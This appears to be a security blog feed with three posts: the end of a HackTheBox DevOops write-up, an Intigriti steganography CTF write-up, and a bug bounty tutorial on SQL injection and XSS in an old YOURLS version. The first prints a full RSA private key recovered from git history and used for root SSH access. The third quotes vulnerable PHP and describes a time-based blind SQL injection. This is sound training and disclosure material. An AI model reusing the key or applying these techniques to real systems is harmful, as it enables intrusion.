Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 08:38:21 2018 <span class="nt">-0400</span>
Blogfeed app, initial version.
commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Tue Mar 20 08:37:56 2018 <span class="nt">-0400</span>
Gunicorn startup script
commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:33:06 2018 <span class="nt">-0400</span>
reverted accidental commit with proper key
commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:32:03 2018 <span class="nt">-0400</span>
add key <span class="k">for </span>feed integration from tnerprise backend
commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson <roosa@solita.fi>
Date: Mon Mar 19 09:24:30 2018 <span class="nt">-0400</span>
Initial commit
</code></pre></div></div>
<p>It seems some credentials have been accidentally commited to git and then overwritten in a following commit.<br />
Let’s get them back:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>git diff 1422e5a04d1b52a44e6dc81023420347e257ee5f d387abf63e05c9628a59195cec9311751bdb283f
diff <span class="nt">--git</span> a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key
new file mode 100644
index 0000000..44c981f
<span class="nt">---</span> /dev/null
+++ b/resources/integration/authcredentials.key
@@ <span class="nt">-0</span>,0 +1,28 @@
+-----BEGIN RSA PRIVATE KEY-----
+MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
+8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
+vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK
+nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+
+CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c
+F9DmYwbVqRcurk3yAS+jEbXgObupXkDHgIoMCwIDAQABAoIBAFaUuHIKVT+UK2oH
+uzjPbIdyEkDc3PAYP+E/jdqy2eFdofJKDocOf9BDhxKlmO968PxoBe25jjjt0AAL
+gCfN5I+xZGH19V4HPMCrK6PzskYII3/i4K7FEHMn8ZgDZpj7U69Iz2l9xa4lyzeD
+k2X0256DbRv/ZYaWPhX+fGw3dCMWkRs6MoBNVS4wAMmOCiFl3hzHlgIemLMm6QSy
+NnTtLPXwkS84KMfZGbnolAiZbHAqhe5cRfV2CVw2U8GaIS3fqV3ioD0qqQjIIPNM
+HSRik2J/7Y7OuBRQN+auzFKV7QeLFeROJsLhLaPhstY5QQReQr9oIuTAs9c+oCLa
+2fXe3kkCgYEA367aoOTisun9UJ7ObgNZTDPeaXajhWrZbxlSsOeOBp5CK/oLc0RB
+GLEKU6HtUuKFvlXdJ22S4/rQb0RiDcU/wOiDzmlCTQJrnLgqzBwNXp+MH6Av9WHG
+jwrjv/loHYF0vXUHHRVJmcXzsftZk2aJ29TXud5UMqHovyieb3mZ0pcCgYEAxR41
+IMq2dif3laGnQuYrjQVNFfvwDt1JD1mKNG8OppwTgcPbFO+R3+MqL7lvAhHjWKMw
++XjmkQEZbnmwf1fKuIHW9uD9KxxHqgucNv9ySuMtVPp/QYtjn/ltojR16JNTKqiW
+7vSqlsZnT9jR2syvuhhVz4Ei9yA/VYZG2uiCpK0CgYA/UOhz+LYu/MsGoh0+yNXj
+Gx+O7NU2s9sedqWQi8sJFo0Wk63gD+b5TUvmBoT+HD7NdNKoEX0t6VZM2KeEzFvS
+iD6fE+5/i/rYHs2Gfz5NlY39ecN5ixbAcM2tDrUo/PcFlfXQhrERxRXJQKPHdJP7
+VRFHfKaKuof+bEoEtgATuwKBgC3Ce3bnWEBJuvIjmt6u7EFKj8CgwfPRbxp/INRX
+S8Flzil7vCo6C1U8ORjnJVwHpw12pPHlHTFgXfUFjvGhAdCfY7XgOSV+5SwWkec6
+md/EqUtm84/VugTzNH5JS234dYAbrx498jQaTvV8UgtHJSxAZftL8UAJXmqOR3ie
+LWXpAoGADMbq4aFzQuUPldxr3thx0KRz9LJUJfrpADAUbxo8zVvbwt4gM2vsXwcz
+oAvexd1JRMkbC7YOgrzZ9iOxHP+mg/LLENmHimcyKCqaY3XzqXqk9lOhA3ymOcLw
+LS4O7JPRqVmgZzUUnDiAVuUHWuHGGXpWpz9EGau6dIbQaUUSOEE<span class="o">=</span>
+-----END RSA PRIVATE KEY-----
+
</code></pre></div></div>
<p>Great another private key for my collection!</p>
<p>I use <code class="highlighter-rouge">LinEnum.sh</code> to get more info on the system and that’s where I lost myself…<br />
I see that <code class="highlighter-rouge">git</code> and <code class="highlighter-rouge">root</code> have also logged in at one point. <code class="highlighter-rouge">git</code> logged in from localhost.<br />
The <code class="highlighter-rouge">blogfeed</code> user may also be interesting, I make a note to come back to it later.<br />
Apart from <code class="highlighter-rouge">roosa</code>, <code class="highlighter-rouge">syslog</code> and <code class="highlighter-rouge">osboxes</code> are members of <code class="highlighter-rouge">adm</code>. <code class="highlighter-rouge">osboxes</code> is <code class="highlighter-rouge">sudo</code> as well.<br />
That user refers to https://www.osboxes.org/ and was probably used to set up the box initially. I’m not sure it will be of any use.<br />
I can read the $HOME dirs of:</p>
<ul>
<li><code class="highlighter-rouge">git</code></li>
<li><code class="highlighter-rouge">osboxes</code></li>
<li><code class="highlighter-rouge">blogfeed</code></li>
</ul>
<p><code class="highlighter-rouge">roosa</code> has a Gnome keyring in <code class="highlighter-rouge">/home/roosa/.local/share/keyrings/login.keyring</code> and <code class="highlighter-rouge">/home/roosa/.local/share/keyrings/user.keystore</code><br />
I’ll check it as well as its <code class="highlighter-rouge">known_hosts</code>, <code class="highlighter-rouge">.gitconfig</code>, <code class="highlighter-rouge">bash</code> history and <code class="highlighter-rouge">ssh-agent</code>.<br />
Also the blogfeed app logs to <code class="highlighter-rouge">/var/log/blogfeed.log</code>.</p>
<p>On the networking side, the following ports are open:</p>
<ul>
<li>localhost only:
<ul>
<li>631/tcp</li>
</ul>
</li>
<li>on all interfaces:
<ul>
<li>631/tcp6</li>
<li>631/udp</li>
<li>5353/udp</li>
<li>49447/udp</li>
<li>59745/udp6</li>
</ul>
</li>
</ul>
<p>As for the processes, I have nothing really interesting.</p>
<p>Looking at the <code class="highlighter-rouge">roosa</code> user’s history, he logged in as <code class="highlighter-rouge">git</code> locally with SSH.<br />
Let’s try that with the SSH keys I found: each time it is asking for a password.<br />
I also give it a try as <code class="highlighter-rouge">root</code>.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ssh <span class="nt">-i</span> <span class="nb">id </span>root@localhost
Welcome to Ubuntu 16.04.4 LTS <span class="o">(</span>GNU/Linux 4.13.0-37-generic i686<span class="o">)</span>
<span class="k">*</span> Documentation: https://help.ubuntu.com
<span class="k">*</span> Management: https://landscape.canonical.com
<span class="k">*</span> Support: https://ubuntu.com/advantage
135 packages can be updated.
60 updates are security updates.
Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1
root@gitter:~# <span class="nb">id
</span><span class="nv">uid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nv">gid</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span> <span class="nb">groups</span><span class="o">=</span>0<span class="o">(</span>root<span class="o">)</span>
root@gitter:~# <span class="nb">ls
</span>root.txt
root@gitter:~# <span class="nb">cat </span>root.txt
d4fe<span class="k">************************</span>c7b3
</code></pre></div></div>
<p>Out of nowhere, it almost surprised me! :)
And then thinking back about it that’s another BIIIIG facepalm as I had the credentials for a while before I even tried them…</p>
<p>All in all this wasn’t such a hard box (only 2 facepalms, see). Again what I recognise as my lack of established methodology gave me a hard time when I should have finished it way earlier.
Anyway, like always, there are things to learn from this:</p>
<ul>
<li>When testing input: try a valid one first then try to break it and get an error, and then try to make it valid again but with the behavior you’re looking for. In that case: a valid XML doc, then try different XXE techniques until the server sends back something else than an error.</li>
<li>Try credentials everywhere you can the minute you get them. It can really help speed up your progress.</li>
</ul>
<p>That was a fairly short one this time but I hope it was interesting nonetheless and that you got something from it.</p>
<p>Till next time!</p>Renaud MartinetSpoiler alert: this is a write-up for the DevOops box that you can find on HackTheBox. If you haven’t done it yet and may want to in the future, you definitely don’t want to read this right now.How I didn’t win Intigriti CTF2019-01-16T00:00:00+00:002019-01-16T00:00:00+00:00https://renaudmarti.net/posts/how-i-didnt-win-intigriti-ctf<p>As <a href="https://intigriti.com">Intigriti</a> retweeted my last post I found out they had a CTF
running until the 16th of January 2018.<br />
As I always like a challenge, and there was a Burp license to be won, I had a
quick look at it.<br />
I’m a sore loser but I will nonetheless tell you how I went about it and got
stuck in the end.</p>
<p>There was only this tweet to get started with:</p>
<blockquote class="twitter-tweet" data-lang="en">
<p lang="en" dir="ltr">
CHALLENGE: FIND THE FLAG🚩 & WIN🏆! There's a secret flag hidden in this tweet. Can you find it? 🕵️ Check the rules in the replies! 👇<a href="https://twitter.com/hashtag/HackWithIntigriti?src=hash&ref_src=twsrc%5Etfw">#HackWithIntigriti</a> <a href="https://twitter.com/hashtag/BugBounty?src=hash&ref_src=twsrc%5Etfw">#BugBounty</a> <a href="https://twitter.com/hashtag/CTF?src=hash&ref_src=twsrc%5Etfw">#CTF</a> <a href="https://t.co/0PFZNd692W">pic.twitter.com/0PFZNd692W</a>
</p>
— intigriti (@intigriti) <a href="https://twitter.com/intigriti/status/1082979668972748803?ref_src=twsrc%5Etfw">January 9, 2019</a>
</blockquote>
<script async="" src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>
<p>Nothing really interesting in the text itself so I went with the image.<br />
Running <code class="highlighter-rouge">strings</code> on the file revealed some stuff that shouldn’t have been
there:</p>
<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span> strings DweADlgXgAAehHh.jpg_large
<span class="go">JFIF
ICC_PROFILE
Z<!--
mntrRGB XYZ
acsp
lmao
nottheflag.pdfUT
4\ux
o{SW
vqE"L
s6f_
</span><span class="c">...
</span></code></pre></div></div>
<p>Somebody taunting us: <code class="highlighter-rouge">lmao</code>, and the name of a PDF file: <code class="highlighter-rouge">nottheflag.pdf</code>.<br />
That PDF file was probably appended to the JPEG file. In that case, <code class="highlighter-rouge">binwalk</code> is
a nice tool to extract it. It’s originally made to extract resources from binary
firmwares.</p>
<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span> binwalk <span class="nt">-e</span> DweADlgXgAAehHh.jpg_large
<span class="go">
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
182 0xB6 Zip archive data, at least v2.0 to extract, compressed size: 11029, uncompressed size: 12129, name: nottheflag.pdf
65660 0x1007C End of Zip archive, footer length: 22
</span></code></pre></div></div>
<p>It confirms that another file is embedded in the image, but this is, in fact, a
ZIP file instead of a PDF. The PDF is probably in the ZIP though.<br />
Everything got extracted to a <code class="highlighter-rouge">_DweADlgXgAAehHh.jpg_large.extracted</code> directory.</p>
<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span> <span class="nb">ls</span> <span class="nt">-l</span> _DweADlgXgAAehHh.jpg_large.extracted/
<span class="go">total 116
-rw-rw-r--. 1 rm rm 105240 Jan 16 06:44 B6.zip
-rw-rw-r--. 1 rm rm 12129 Jan 8 16:53 nottheflag.pdf
</span></code></pre></div></div>
<p>So there it is: the <code class="highlighter-rouge">nottheflag.pdf</code> file.<br />
Opening it in a PDF reader reveals what looks like a Base64 encoded string:</p>
<p><img src="/media/images/my-failed-attempt-at-intigriti-ctf/nottheflag.png" alt="The PDF that doesn't contain the flag" /></p>
<p>After decoding, we have a URL:</p>
<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span> <span class="nb">echo </span><span class="nv">aHR0cHM6Ly9nby5pbnRpZ3JpdGkuY29tLzA3YjBmTDI0bGttdmE</span><span class="o">=</span> | <span class="nb">base64</span> <span class="nt">-d</span>
<span class="go">https://go.intigriti.com/07b0fL24lkmva
</span></code></pre></div></div>
<p>From that URL we get another ZIP file:</p>
<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span> wget https://go.intigriti.com/07b0fL24lkmva
<span class="go">--2019-01-16 07:05:05-- https://go.intigriti.com/07b0fL24lkmva
Resolving go.intigriti.com (go.intigriti.com)... 52.72.49.79
Connecting to go.intigriti.com (go.intigriti.com)|52.72.49.79|:443... connected.
HTTP request sent, awaiting response... 301 Moved Permanently
Location: https://storage.googleapis.com/intigriti/community/data.zip [following]
--2019-01-16 07:05:05-- https://storage.googleapis.com/intigriti/community/data.zip
Resolving storage.googleapis.com (storage.googleapis.com)... 216.58.206.80, 2a00:1450:4009:815::2010
Connecting to storage.googleapis.com (storage.googleapis.com)|216.58.206.80|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 162523 (159K) [application/zip]
Saving to: ‘07b0fL24lkmva’
</span><span class="gp">07b0fL24lkmva 100%[============================================================================></span><span class="o">]</span> 158.71K <span class="nt">--</span>.-KB/s <span class="k">in </span>0.002s
<span class="go">
2019-01-16 07:05:05 (95.5 MB/s) - ‘07b0fL24lkmva’ saved [162523/162523]
</span><span class="gp">$</span> file 07b0fL24lkmva
<span class="go">07b0fL24lkmva: Zip archive data, at least v1.0 to extract
</span></code></pre></div></div>
<p>But that time the ZIP file is encrypted:</p>
<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span> unzip 07b0fL24lkmva
<span class="go">Archive: 07b0fL24lkmva
[07b0fL24lkmva] data/1_177.jpg password:
password incorrect--reenter:
</span><span class="gp">$</span>
</code></pre></div></div>
<p>From there I need to get back to another thing I found out on that original
tweet: there was a hidden link in it.
As you can see when looking at the source:</p>
<p><img src="/media/images/my-failed-attempt-at-intigriti-ctf/hidden-link.png" alt="The hidden link in the tweet" /></p>
<p>It links to another Twitter profile created specifically for the CTF:</p>
<p><img src="/media/images/my-failed-attempt-at-intigriti-ctf/whereistheflag.png" alt="The shadow Twitter profile" /></p>
<p>Not much on it, apart from the profile pic. I looked at it with <code class="highlighter-rouge">strings</code> like
the first one to check for weird strings in it, with an hex editor to look for
patterns that I would recognize and with Gimp in case there was something hidden
in image itself. And I found nothing…<br />
One thing was missing on that profile though and it was the banner pic. From that
and stuff I read on Twitter, I can only guess that it was were the password to
the encrypted ZIP file was hidden.</p>
<p>Anyway I was back to my ZIP file trying to extract data from it without the
password. I did try to crack it, although Intigriti gave an hint that it wasn’t
necessary, or even realistically possible.<br />
When extracting it without password, some files were created but they were empty.
I looked at the content of the ZIP:</p>
<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span> unzip <span class="nt">-l</span> 07b0fL24lkmva
<span class="go">Archive: 07b0fL24lkmva
Length Date Time Name
--------- ---------- ----- ----
0 01-03-2019 12:53 data/
314 01-03-2019 10:56 data/1_177.jpg
314 01-03-2019 10:56 data/1_163.jpg
314 01-03-2019 10:56 data/1_188.jpg
314 01-03-2019 10:56 data/1_349.jpg
318 01-03-2019 10:55 data/1_70.jpg
</span><span class="c">...
</span><span class="go"> 314 01-03-2019 10:56 data/1_146.jpg
314 01-03-2019 10:56 data/1_152.jpg
--------- -------
138677 442 files
</span></code></pre></div></div>
<p>So it contained 1 directory and 441 small JPEG files. All files were numbered, it
might have been important.<br />
441 files made me think of a matrix of 21 by 21 which also is the size of the
smallest QR code format. All files had a size of either 314 or 318. I was
probably looking at all black or all white images that, when put in the right
order, formed a QR code.<br />
All I needed to know was:</p>
<ul>
<li>the color of each image</li>
<li>the order in which they should be arranged</li>
</ul>
<p>Although looking at the file size was a good idea at first, the distribution
made me think that it wasn’t the good way to go about it. There was:</p>
<ul>
<li>390 files with size 314</li>
<li>50 files with size 318</li>
<li>1 file with size 317</li>
</ul>
<p>I didn’t lookup stats on QR codes but from experience, the distribution should
have been more balanced between black and white.</p>
<p>I thought that maybe if the files where encrypted with the same password, all
the black files would have the same encrypted data. So I read the specs of the
ZIP format in order to be able to confirm that hypothesis. And I came across
another interesting piece of data contained in the ZIP file: each compressed file
has a corresponding CRC included.<br />
When I looked at them, most were the same:</p>
<div class="language-terminal highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$</span> unzip <span class="nt">-lv</span> 07b0fL24lkmva | <span class="nb">tr</span> <span class="nt">-s</span> <span class="s2">" "</span> | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s2">" "</span> <span class="nt">-f</span> 8 | <span class="nb">sort</span> | <span class="nb">uniq</span> <span class="nt">-c</span>
<span class="go"> 3
1 ----
1 00000000
36 22eb0bb8
14 5b808910
1 81f9bf5a
206 96ee0cb5
184 c79dd362
1 CRC-32
</span></code></pre></div></div>
<p>Even though I didn’t have only 2 CRCs, the distribution looked way more
realistic.</p>
<p>Now I <em>only</em> had to find out how to recreate the QR code from that.
I first went using the black and white files sequencially based on the number in
the file name. So the first line of the QR code would be files <code class="highlighter-rouge">1_01.jpg</code> to
<code class="highlighter-rouge">1_21.jpg</code>, and on until file <code class="highlighter-rouge">1_441.jpg</code>.</p>
<p>Here is the result:</p>
<p><img src="/media/images/my-failed-attempt-at-intigriti-ctf/qrcode1.png" alt="First try at QR code" /></p>
<p>You can see that it doesn’t really look like what I was looking for.
I tried to reverse it but it’s not any better:</p>
<p><img src="/media/images/my-failed-attempt-at-intigriti-ctf/qrcode1.png" alt="Second try at QR code" /></p>
<p>As I already had the JPEG Wikipedia page open from earlier, I remembered I had
seen something that could help me: <a href="https://en.wikipedia.org/wiki/File:JPEG_ZigZag.svg">the way JPEG blocks are reordered</a><br />
I wrote a small script to do that and got the following result:</p>
<p><img src="/media/images/my-failed-attempt-at-intigriti-ctf/qrcode3.png" alt="Third try at QR code" /></p>
<p>And in reverse:</p>
<p><img src="/media/images/my-failed-attempt-at-intigriti-ctf/qrcode4.png" alt="Fourth try at QR code" /></p>
<p>Not better in any way…</p>
<p>And that’s where I got stuck the morning the CTF was ending as I was at work the whole
day. <br />
I just had to wait for the results and the eventual write-ups in the evening to see
where I went wrong.<br />
As I could predict, it was staring me in the face the whole time… I had everything
I needed. There was just a small mistake in my script. I had it fixed in about 5 minutes.<br />
Anyway it was good fun! Thanks Intigriti for putting this up 👍<br />
I’m eagerly waiting for the next one!</p>Renaud MartinetAs Intigriti retweeted my last post I found out they had a CTF running until the 16th of January 2018. As I always like a challenge, and there was a Burp license to be won, I had a quick look at it. I’m a sore loser but I will nonetheless tell you how I went about it and got stuck in the end.Tips for bug bounty beginners from a real life experience2019-01-08T00:00:00+00:002019-01-08T00:00:00+00:00https://renaudmarti.net/posts/first-bug-bounty-submission<p>I’ve been aware of bug bounties for a few years now but never really felt I
was capable of participating.</p>
<p><img src="/media/images/first-bug-bounty/the-imposter-syndrome-is-strong-with-this-one.jpg" alt="Yes I'm that confident" class="align-right" /></p>
<p>I’ve been training my skills on <a href="https://www.hackthebox.eu/">Hack The Box</a> and <a href="https://www.root-me.org/?lang=en">RootMe</a> for a
while but figured that if I was to spend that much time on it I might as well
get paid.<br />
And guess what? I found a good vuln in my first week. Take that imposter
syndrom.</p>
<p>In this post I want to use my first discovery as a way to show that if you are
interested in security and have some background in IT, you can probably do it
too.<br />
To be clear: this is not an overly technical post. It aims to emphasize the
workflow and the attitude first and foremost. The technical details are just
there for the sake of completeness. The Internet is full of good documentation
about XSS and whatnots anyway.</p>
<p>So I began looking for a bug bounty program that would be familiar and found that
<a href="https://www.youneedabudget.com/">YNAB</a> had one. Great! I’ve been using their apps for years. It’s not a
huge company so it wouldn’t feel too intimidating. There’s probably not too much
people working on it as well: I felt I had a chance to find something. Also the
scope is pretty open and the rewards for P1 bugs (the highest criticity) are fair.<br />
I tried to stack the deck in my favor as much as I could.<br />
Now it was time to get going.</p>
<h2 id="recon-recon-recon">Recon recon recon</h2>
<p>To be honest, I didn’t really have a methodology yet. I read stuff from Jason
Haddix and others but basically that’s it.<br />
On Hack the Box, I only had one IP to attack. There I had a wildcard domain, a
staging app and a small note saying that any domain confirmed to be owned by
YNAB was fair game.<br />
That meant a lot more recon than I’m used to.<br />
Though I didn’t want to skimp on it because I knew that’s the way you find
interesting things others don’t.</p>
<blockquote>
<p>Always be enumerating<br />
If you don’t find anything, enumerate more.</p>
</blockquote>
<p>I started by setting up BurpSuite to spider the main website.<br />
While it was running, I tried to enumerate subdomains with <code class="highlighter-rouge">amass</code> and see if I
could find anything worth a look.<br />
Not much sadly. I’d just read about subdomain takeovers and was secretly hoping
to stumble upon one.</p>
<p>Anyway I went back to BurpSuite to check all the URLs it found and then I came
across an interesting one: <code class="highlighter-rouge">http://ynab.me/admin</code>.<br />
I had a look and found out it was a domain they were using for URL shortening.
It was using an old version of <a href="http://yourls.org/">YOURLS</a>, probably a good place to find
vulnerabilities. The fact that it’s open source made it easier.</p>
<p>Before going further, I wanted to make sure that YNAB owned <code class="highlighter-rouge">ynab.me</code>.<br />
A <code class="highlighter-rouge">whois</code> query confirmed that it was registered to <strong>You Need A Budget LLC</strong>
and I was good to go explore YOURLS source code.</p>
<p class="notice--info"><strong>Know the scope of the program!</strong><br />
It will save you some time digging in out of scope items and getting submissions
rejected later on.</p>
<h2 id="hunting-bugs">Hunting bugs</h2>
<p>I started by checking the Github issues to see if by chance somebody already did
the work for me. I found that some SQL injections and XSS had been reported a
while ago. The issues were redacted but I still gained some knowledge of what to
look out for. Next I dove into the source code looking for SQL queries that would
use unsanitized user input and quickly found out that a SQL injection was possible
through the analytics feature. Basically it was logging every hit and recording
various informations about it in the database. One of them, the <code class="highlighter-rouge">User-Agent</code>
header, wasn’t sanitized much before being stored:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Log a redirect (for stats)</span>
<span class="k">function</span> <span class="nf">yourls_log_redirect</span><span class="p">(</span> <span class="nv">$keyword</span> <span class="p">)</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="nx">yourls_do_log_redirect</span><span class="p">()</span> <span class="p">)</span>
<span class="k">return</span> <span class="kc">true</span><span class="p">;</span>
<span class="k">global</span> <span class="nv">$ydb</span><span class="p">;</span>
<span class="nv">$table</span> <span class="o">=</span> <span class="nx">YOURLS_DB_TABLE_LOG</span><span class="p">;</span>
<span class="nv">$keyword</span> <span class="o">=</span> <span class="nx">yourls_sanitize_string</span><span class="p">(</span> <span class="nv">$keyword</span> <span class="p">);</span>
<span class="nv">$referrer</span> <span class="o">=</span> <span class="p">(</span> <span class="nb">isset</span><span class="p">(</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_REFERER'</span><span class="p">]</span> <span class="p">)</span> <span class="o">?</span> <span class="nx">yourls_sanitize_url</span><span class="p">(</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_REFERER'</span><span class="p">]</span> <span class="p">)</span> <span class="o">:</span> <span class="s1">'direct'</span> <span class="p">);</span>
<span class="nv">$ua</span> <span class="o">=</span> <span class="nx">yourls_get_user_agent</span><span class="p">();</span>
<span class="nv">$ip</span> <span class="o">=</span> <span class="nx">yourls_get_IP</span><span class="p">();</span>
<span class="nv">$location</span> <span class="o">=</span> <span class="nx">yourls_geo_ip_to_countrycode</span><span class="p">(</span> <span class="nv">$ip</span> <span class="p">);</span>
<span class="k">return</span> <span class="nv">$ydb</span><span class="o">-></span><span class="na">query</span><span class="p">(</span> <span class="s2">"INSERT INTO `</span><span class="nv">$table</span><span class="s2">` VALUES ('', NOW(), '</span><span class="nv">$keyword</span><span class="s2">', '</span><span class="nv">$referrer</span><span class="s2">', '</span><span class="nv">$ua</span><span class="s2">', '</span><span class="nv">$ip</span><span class="s2">', '</span><span class="nv">$location</span><span class="s2">')"</span> <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// Returns a sanitized a user agent string. Given what I found on http://www.user-agents.org/ it should be OK.</span>
<span class="k">function</span> <span class="nf">yourls_get_user_agent</span><span class="p">()</span> <span class="p">{</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="nb">isset</span><span class="p">(</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_USER_AGENT'</span><span class="p">]</span> <span class="p">)</span> <span class="p">)</span>
<span class="k">return</span> <span class="s1">'-'</span><span class="p">;</span>
<span class="nv">$ua</span> <span class="o">=</span> <span class="nb">strip_tags</span><span class="p">(</span> <span class="nb">html_entity_decode</span><span class="p">(</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'HTTP_USER_AGENT'</span><span class="p">]</span> <span class="p">));</span>
<span class="nv">$ua</span> <span class="o">=</span> <span class="nb">preg_replace</span><span class="p">(</span><span class="s1">'![^0-9a-zA-Z\':., /{}\(\)\[\]\+@&\!\?;_\-=~\*\#]!'</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$ua</span> <span class="p">);</span>
<span class="k">return</span> <span class="nb">substr</span><span class="p">(</span> <span class="nv">$ua</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">254</span> <span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>As I didn’t want to run anything against YNAB infrastructure right away, I used
the Dockerfile provided in the <a href="https://hub.docker.com/_/yourls">docker-yourls</a> repository and
modified it to work with version 1.4.3. Now I had a local instance I could wreak
without worrying.<br />
A few attempts at the SQLi and I was running <code class="highlighter-rouge">SLEEP(5)</code> on the MySQL DB.
Since it occured in an <code class="highlighter-rouge">INSERT</code> statement, it somewhat limited what I could do
with it:</p>
<ul>
<li>read any data in the DB and possibly other DBs if user privileges allow it</li>
<li>insert new records in the <code class="highlighter-rouge">yourls_log</code> table</li>
<li>update existing records in the <code class="highlighter-rouge">yourls_log</code> table</li>
</ul>
<p>To illustrate the first method, I managed to get the MySQL version: <code class="highlighter-rouge">5.6</code>.
I could leak the entire DB but:</p>
<ul>
<li>there was nothing really interesting in it: mainly analytics logs.</li>
<li>it would be so sloooow since it was using a time-based blind SQL injection.</li>
</ul>
<p>YOURLS stores the credentials to access the admin panel in a separate file on
disk. A good idea in this case. Otherwise I’d have admin access straight away.</p>
<p>I was left with what was technically a P1 bug but it didn’t have much impact for
YNAB.</p>
<p>I was worried my report could be rejected or the criticity could be downgraded
because of the lack of impact. Also I felt I was on a roll and could do better
so I kept looking.<br />
I tried to find analytics data that was echoed back somewhere in the admin UI to
get some stored XSS on the admin panel. I found that for each shortened URL, a
page displays all the referers that linked to it.<br />
What it does is that when a user visits a shortened URL, YOURLS logs the
<code class="highlighter-rouge">Referer</code> header, sanitizes it and stores it in the DB. When the admin looks at
the stats page for that shortened URL, it displays a summary of all referers as
links like so:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><a</span> <span class="na">href=</span><span class="s">"http://referer.com/"</span><span class="nt">></span>http://referer.com/<span class="nt"></a></span>
</code></pre></div></div>
<p>In that case, <code class="highlighter-rouge">http://referer.com/</code> comes from the DB.</p>
<p>Before being stored though it is filtered by YOURLS. Here are the 3 functions
responsible for that:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// A few sanity checks on the URL</span>
<span class="k">function</span> <span class="nf">yourls_sanitize_url</span><span class="p">(</span><span class="nv">$url</span><span class="p">)</span> <span class="p">{</span>
<span class="c1">// make sure there's only one 'http://' at the beginning (prevents pasting a URL right after the default 'http://')</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="nb">str_replace</span><span class="p">(</span><span class="s1">'http://http://'</span><span class="p">,</span> <span class="s1">'http://'</span><span class="p">,</span> <span class="nv">$url</span><span class="p">);</span>
<span class="c1">// make sure there's a protocol, add http:// if not</span>
<span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'!^([a-zA-Z]+://)!'</span><span class="p">,</span> <span class="nv">$url</span> <span class="p">)</span> <span class="p">)</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="s1">'http://'</span><span class="o">.</span><span class="nv">$url</span><span class="p">;</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="nx">yourls_clean_url</span><span class="p">(</span><span class="nv">$url</span><span class="p">);</span>
<span class="k">return</span> <span class="nb">substr</span><span class="p">(</span> <span class="nv">$url</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1999</span> <span class="p">);</span>
<span class="p">}</span>
<span class="c1">// Function to filter all invalid characters from a URL. Stolen from WP's clean_url()</span>
<span class="k">function</span> <span class="nf">yourls_clean_url</span><span class="p">(</span> <span class="nv">$url</span> <span class="p">)</span> <span class="p">{</span>
<span class="nv">$url</span> <span class="o">=</span> <span class="nb">preg_replace</span><span class="p">(</span><span class="s1">'|[^a-z0-9-~+_.?#=!&;,/:%@$\|*\'"()\\x80-\\xff]|i'</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$url</span> <span class="p">);</span>
